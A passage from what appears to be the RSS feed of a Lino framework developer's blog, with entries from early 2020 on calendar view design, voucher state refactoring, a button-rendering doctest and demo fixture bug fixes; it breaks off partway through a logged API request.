&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ar2button&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;We get an ElementTree object (see &lt;a class="reference external" href="https://lxml.de/tutorial.html"&gt;The lxml.etree Tutorial&lt;/a&gt; for documentation about these):&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;Element a at ...&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;We can use the
&lt;a class="reference external" href="https://etgen.lino-framework.org/api/etgen.html.html#etgen.html.tostring" title="(in etgen v1.1)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;etgen.html.tostring()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; function to see how it would be rendered as HTML.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;etgen.html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;tostring&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;tostring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;&amp;lt;a style=&amp;quot;vertical-align:-30%;&amp;quot; title=&amp;quot;Open a ... &amp;amp;quot;record_id&amp;amp;quot;: null })&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;/static/images/mjames/add.png&amp;quot; alt=&amp;quot;add&amp;quot;/&amp;gt;&amp;lt;/a&amp;gt;&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This is a long and complicated chunk of HTML!  Let’s cut it into smaller pieces.
Basically it is just an &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;lt;a&amp;gt;&lt;/span&gt;&lt;/code&gt; element around an &lt;a class="reference internal" href="https://gitlab.com/lino-framework/lino/-/raw/master/lino/static/images/mjames/add.png?inline=false"&gt;&lt;img alt="insert" src="https://gitlab.com/lino-framework/lino/-/raw/master/lino/static/images/mjames/add.png?inline=false" style="height: 1em;" /&gt;&lt;/a&gt; icon without text.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="go"&gt;[&amp;#39;img&amp;#39;]&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;tostring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;&amp;lt;img src=&amp;quot;/static/images/mjames/add.png&amp;quot; alt=&amp;quot;add&amp;quot;/&amp;gt;&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The complicated part is the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;href&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;href&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;javascript:Lino.cal.Events.insert.run(null,{&lt;/span&gt;
&lt;span class="go"&gt;  &amp;quot;base_params&amp;quot;: { &amp;quot;start_date&amp;quot;: &amp;quot;23.05.2015&amp;quot; },&lt;/span&gt;
&lt;span class="go"&gt;  &amp;quot;data_record&amp;quot;: { &amp;quot;data&amp;quot;: {&lt;/span&gt;
&lt;span class="go"&gt;    &amp;quot;amount&amp;quot;: null,&lt;/span&gt;
&lt;span class="go"&gt;    &amp;quot;disabled_fields&amp;quot;: {&lt;/span&gt;
&lt;span class="go"&gt;      &amp;quot;amount&amp;quot;: true, &amp;quot;assign_to_me&amp;quot;: true, &amp;quot;build_time&amp;quot;: true, &amp;quot;calendar&amp;quot;: true, &amp;quot;created&amp;quot;: true, &amp;quot;duration&amp;quot;: true, &amp;quot;modified&amp;quot;: true, &amp;quot;reset_event&amp;quot;: true, &amp;quot;take&amp;quot;: true&lt;/span&gt;
&lt;span class="go"&gt;    },&lt;/span&gt;
&lt;span class="go"&gt;    &amp;quot;end_time&amp;quot;: null, &amp;quot;event_type&amp;quot;: null, &amp;quot;event_typeHidden&amp;quot;: null, &amp;quot;project&amp;quot;: null,&lt;/span&gt;
&lt;span class="go"&gt;    &amp;quot;projectHidden&amp;quot;: null, &amp;quot;start_date&amp;quot;: &amp;quot;23.05.2015&amp;quot;, &amp;quot;start_time&amp;quot;: &amp;quot;...&amp;quot;,&lt;/span&gt;
&lt;span class="go"&gt;    &amp;quot;summary&amp;quot;: &amp;quot;&amp;quot;, &amp;quot;user&amp;quot;: &amp;quot;Robin Rood&amp;quot;, &amp;quot;userHidden&amp;quot;: 1&lt;/span&gt;
&lt;span class="go"&gt;  },&lt;/span&gt;
&lt;span class="go"&gt;  &amp;quot;phantom&amp;quot;: true, &amp;quot;title&amp;quot;: &amp;quot;New Calendar entry&amp;quot; },&lt;/span&gt;
&lt;span class="go"&gt;  &amp;quot;param_values&amp;quot;: {&lt;/span&gt;
&lt;span class="go"&gt;    &amp;quot;event_type&amp;quot;: null, &amp;quot;event_typeHidden&amp;quot;: null, &amp;quot;presence_guest&amp;quot;: null,&lt;/span&gt;
&lt;span class="go"&gt;    &amp;quot;presence_guestHidden&amp;quot;: null, &amp;quot;project&amp;quot;: null, &amp;quot;projectHidden&amp;quot;: null,&lt;/span&gt;
&lt;span class="go"&gt;    &amp;quot;room&amp;quot;: null, &amp;quot;roomHidden&amp;quot;: null, &amp;quot;user&amp;quot;: null, &amp;quot;userHidden&amp;quot;: null&lt;/span&gt;
&lt;span class="go"&gt;  }, &amp;quot;record_id&amp;quot;: null&lt;/span&gt;
&lt;span class="go"&gt;})&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0227.html</guid><pubDate>Thu, 27 Feb 2020 00:00:00 +0000</pubDate></item><item><title>Monday, February 24, 2020</title><link>https://luc.lino-framework.org/blog/2020/0224.html</link><description>&lt;section id="monday-february-24-2020"&gt;
&lt;h1&gt;Monday, February 24, 2020&lt;a class="headerlink" href="#monday-february-24-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="customized-calendar-views"&gt;
&lt;h2&gt;Customized calendar views&lt;a class="headerlink" href="#customized-calendar-views" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;About &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3502"&gt;#3502&lt;/a&gt;.
I try to formulate a problem on which I have been meditating during almost three weeks now.
I advance slowly, partly because the problem is complex
and partly because I have so many other urgent projects to think about.&lt;/p&gt;
&lt;p&gt;Summary of the problem in one sentence: The calview plugin needs some
fundamental changes to make customized calendar views possible.&lt;/p&gt;
&lt;p&gt;A calendar is a set of three “calendar views” (called “daily”, “weekly” and
“monthly”) that share a common &lt;strong&gt;calendar navigator&lt;/strong&gt;.  That navigator knows
about the three views and can intuitively switch between them.&lt;/p&gt;
&lt;p&gt;The default calendar is set up as follows:&lt;/p&gt;
&lt;table class="docutils align-default"&gt;
&lt;thead&gt;
&lt;tr class="row-odd"&gt;&lt;th class="head"&gt;&lt;p&gt;view&lt;/p&gt;&lt;/th&gt;
&lt;th class="head"&gt;&lt;p&gt;rows&lt;/p&gt;&lt;/th&gt;
&lt;th class="head"&gt;&lt;p&gt;columns&lt;/p&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;daily&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;DailyPlannerRows&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;PlannerColumns&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;weekly&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;DailyPlannerRows&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;weekdays&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;monthly&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;weeks&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;weekdays&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Where &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;calview.DailyPlannerRows&lt;/span&gt;&lt;/code&gt; defaults to two rows “AM” and “PM”.
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;cal.PlannerColumns&lt;/span&gt;&lt;/code&gt; defaults to two rows “internal” and “external”.  The
first is a data table while the second is a choicelist.&lt;/p&gt;
&lt;p&gt;Each calendar view is an actor.   While the daily view is a data table, the two
others are virtual tables.  What they have in common is (a) that they have no
grid view (default action is &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;ShowDetail&lt;/span&gt;&lt;/code&gt;) and (b) that their detail
views contain a “calendar navigator” on the left side and some “calendar slave”
on the right side.&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;calendar slave&lt;/strong&gt; is a slave table whose master is &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;calview.Day&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In Presto we want an additional “customized” calendar where
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;calview.DailyPlannerRows&lt;/span&gt;&lt;/code&gt; is replaced by &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;contacts.Workers&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Meanwhile I realized that we need a new choicelist “calview.Navigators” where
each choice has the following properties (in addition to the normal properties
of a choice):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;daily_view&lt;/span&gt;
&lt;span class="n"&gt;weekly_view&lt;/span&gt;
&lt;span class="n"&gt;monthly_view&lt;/span&gt;
&lt;span class="n"&gt;plannable_model&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The “plannable” model of a navigator is a database model that inherits from
&lt;cite&gt;calview.Plannable&lt;/cite&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0224.html</guid><pubDate>Mon, 24 Feb 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, February 6, 2020</title><link>https://luc.lino-framework.org/blog/2020/0206.html</link><description>&lt;section id="thursday-february-6-2020"&gt;
&lt;h1&gt;Thursday, February 6, 2020&lt;a class="headerlink" href="#thursday-february-6-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0206.html</guid><pubDate>Thu, 06 Feb 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, January 28, 2020</title><link>https://luc.lino-framework.org/blog/2020/0128.html</link><description>&lt;section id="tuesday-january-28-2020"&gt;
&lt;h1&gt;Tuesday, January 28, 2020&lt;a class="headerlink" href="#tuesday-january-28-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Until today the state field of a voucher had one global choicelist for all
voucher types (&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.VoucherStates" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.VoucherStates&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;).  This same list of
allowed voucher states was used for sales invoices, purchase invoices, bank
statements, vat declarations, all types of orders, and whatever type of voucher
we may imagine in the future. That was actually a design flaw because the
workflow of vouchers can potentially vary.  For example the “signed” state isn’t
actually used by any of our applications.  And more urgently, for the presto
project it now turns out that we need a customized workflow for orders.  So I
decided to dive into this and fix it.  Two days of work.&lt;/p&gt;
&lt;p&gt;I considered the possibility to make Voucher abstract. But after some
experimenting I can confirm once more that this would be (1) not trivial and (2)
bad. Because a great fundamental feature is that Lino supports configurations
where sales invoices are stored as &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;vat.AccountInvoice&lt;/span&gt;&lt;/code&gt;, or where
purchase invoices are stored  as &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;sales.VatProductInvoice&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Changes:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;The state field of a voucher is no longer defined in the Voucher model (the
MTI parent for all implementing voucher models) but in the implementing models
themselves.  This will cause some fun when migrating existing data (mostly
rumma and weleup afaics). At the SQL level, the state field of a voucher is no
longer stored in the ledger_voucher table but in sales_vatproductinvoice,
finan_bankstatement etc.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;When you implement a Registrable, you must define yourself a field
named “state”, and that field must be a ChoiceListField on a choicelist that is
a subclass of VoucherStates.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A Voucher is no longer Registrable. All implementing subclasses must declare
themselves whether they also inherit from Registrable.  At the moment they all
do so, and I cannot imagine any useful case where we would want a voucher type
that is not also registrable.  But theoretically it is possible.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This change was a bit tricky because the inheritance for vouchers is complex.
For example here is inheritance diagram for &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/trading.html#lino_xl.lib.trading.VatProductInvoice" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;VatProductInvoice&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;div class="graphviz"&gt;&lt;img src="../../_images/inheritance-57358ad8438fc81842a261c5ebe9ce0208024859.png" alt="Inheritance diagram of lino_xl.lib.trading.models.VatProductInvoice" usemap="#inheritance2bb2774210" class="inheritance graphviz" /&gt;&lt;/div&gt;
&lt;map id="inheritance2bb2774210" name="inheritance2bb2774210"&gt;
&lt;area shape="rect" id="node4" href="https://dev.lino-framework.org/api/lino.mixins.clonable.html#lino.mixins.clonable.Clonable" target="_top" title="See :doc:`/dev/duplicate`." alt="" coords="908,232,987,260"/&gt;
&lt;area shape="rect" id="node5" href="https://dev.lino-framework.org/src/lino/core/model.html#lino.core.model.Model" target="_top" title="Model" alt="" coords="622,5,694,33"/&gt;
&lt;area shape="rect" id="node9" href="https://dev.lino-framework.org/api/lino.mixins.registrable.html#lino.mixins.registrable.Registrable" target="_top" title="Base class to anything that may be &amp;quot;registered&amp;quot; and &amp;quot;deregistered&amp;quot;, where" alt="" coords="398,81,494,109"/&gt;
&lt;/map&gt;&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;I had a reproducible AttributeError “‘TableHandle’ object has no attribute
‘store’” and added a test in ext_renderer so that it gives a more useful
exception messages.  Same for when it has no attribute ‘grid_layout’”. And maybe
more important: Actor._get_handle now logs the exception detail when
setup_handle fails. That’s the traceback we have been looking for in
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3172"&gt;#3172&lt;/a&gt; and &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/1173"&gt;#1173&lt;/a&gt;. Maybe also &lt;cite&gt;3178&lt;/cite&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0128.html</guid><pubDate>Tue, 28 Jan 2020 00:00:00 +0000</pubDate></item><item><title>Monday, January 27, 2020</title><link>https://luc.lino-framework.org/blog/2020/0127.html</link><description>&lt;section id="monday-january-27-2020"&gt;
&lt;h1&gt;Monday, January 27, 2020&lt;a class="headerlink" href="#monday-january-27-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The Order.state field is a VoucherStates choicelist field.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;draft : waiting&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;registered : active | planning&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;signed : closed | done&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;cancelled : cancelled&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0127.html</guid><pubDate>Mon, 27 Jan 2020 00:00:00 +0000</pubDate></item><item><title>Wednesday, January 22, 2020</title><link>https://luc.lino-framework.org/blog/2020/0122.html</link><description>&lt;section id="wednesday-january-22-2020"&gt;
&lt;h1&gt;Wednesday, January 22, 2020&lt;a class="headerlink" href="#wednesday-january-22-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0122.html</guid><pubDate>Wed, 22 Jan 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, January 21, 2020</title><link>https://luc.lino-framework.org/blog/2020/0121.html</link><description>&lt;section id="tuesday-january-21-2020"&gt;
&lt;h1&gt;Tuesday, January 21, 2020&lt;a class="headerlink" href="#tuesday-january-21-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I fixed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3480"&gt;#3480&lt;/a&gt;, another bug that appeared during yesterday’s screen
cast.  The partner “Maksu- ja Tolliamet” was indeed simply created twice by two
different fixtures.&lt;/p&gt;
&lt;p&gt;And the VAT declarations were not getting paid because the match rule for the
&lt;a class="reference external" href="https://using.lino-framework.org/plugins/accounting.html#term-common-account" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;common account&lt;/span&gt;&lt;/a&gt; &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;tax_offices&lt;/span&gt;&lt;/code&gt; was missing (in the
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-minimal_ledger" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;minimal_ledger&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture of &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.accounting.html#module-lino_xl.lib.accounting" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;And the demo companies had unrealistic VAT regimes. sepa must come before VAT
because the VAT demo sets the VAT regimes of demo companies added by sepa.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0121.html</guid><pubDate>Tue, 21 Jan 2020 00:00:00 +0000</pubDate></item><item><title>Monday, January 20, 2020</title><link>https://luc.lino-framework.org/blog/2020/0120.html</link><description>&lt;section id="monday-january-20-2020"&gt;
&lt;h1&gt;Monday, January 20, 2020&lt;a class="headerlink" href="#monday-january-20-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I realized that Lino doesn’t yet generate annual closings (Profit/Loss
declarations) and opened &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3476"&gt;#3476&lt;/a&gt;.  At the moment, we would have to make a
manual misc transaction that  puts the balance of all costs and incomes accounts
back to 0 at the end of a fiscal year.&lt;/p&gt;
&lt;p&gt;As a first step I opened and did &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3475"&gt;#3475&lt;/a&gt; (Make Declaration a mixin in ledger):
The current VAT declaration contains functionality that we will also want for
income declarations and employment declarations.  Their common logic is to
“observe” a given period range.&lt;/p&gt;
&lt;p&gt;As a side effect, the &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.Payable" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.Payable&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; mixin had to move from
sepa to ledger.  Which makes sense and confirms the idea.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0120.html</guid><pubDate>Mon, 20 Jan 2020 00:00:00 +0000</pubDate></item><item><title>Sunday, January 19, 2020</title><link>https://luc.lino-framework.org/blog/2020/0119.html</link><description>&lt;section id="sunday-january-19-2020"&gt;
&lt;h1&gt;Sunday, January 19, 2020&lt;a class="headerlink" href="#sunday-january-19-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0119.html</guid><pubDate>Sun, 19 Jan 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, January 18, 2020</title><link>https://luc.lino-framework.org/blog/2020/0118.html</link><description>&lt;section id="saturday-january-18-2020"&gt;
&lt;h1&gt;Saturday, January 18, 2020&lt;a class="headerlink" href="#saturday-january-18-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt; is alomost ready for a demo to Taavi. I was already recording a
screen cast. But during the session I discovered &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3470"&gt;#3470&lt;/a&gt; and started
working on it…&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.ExpectedMovements" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.ExpectedMovements&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; table and its subclasses are
virtual tables, and each row is a volatile &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.DueMovement" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;DueMovement&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
instance. That’s why its &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/actors.html#lino.core.actors.Actor.get_row_by_pk" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_row_by_pk&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is rather tricky.
It needs to know the voucher because the D/C of a DueMovement depends on the “target”.&lt;/p&gt;
&lt;p&gt;The request itself was perfect:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt; &lt;span class="n"&gt;POST&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;finan&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;SuggestionsByBankStatement&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;QueryDict&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;pv&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;12.06.2019&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;6&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="s1"&gt;&amp;#39;lv&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1579407249.1660907&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
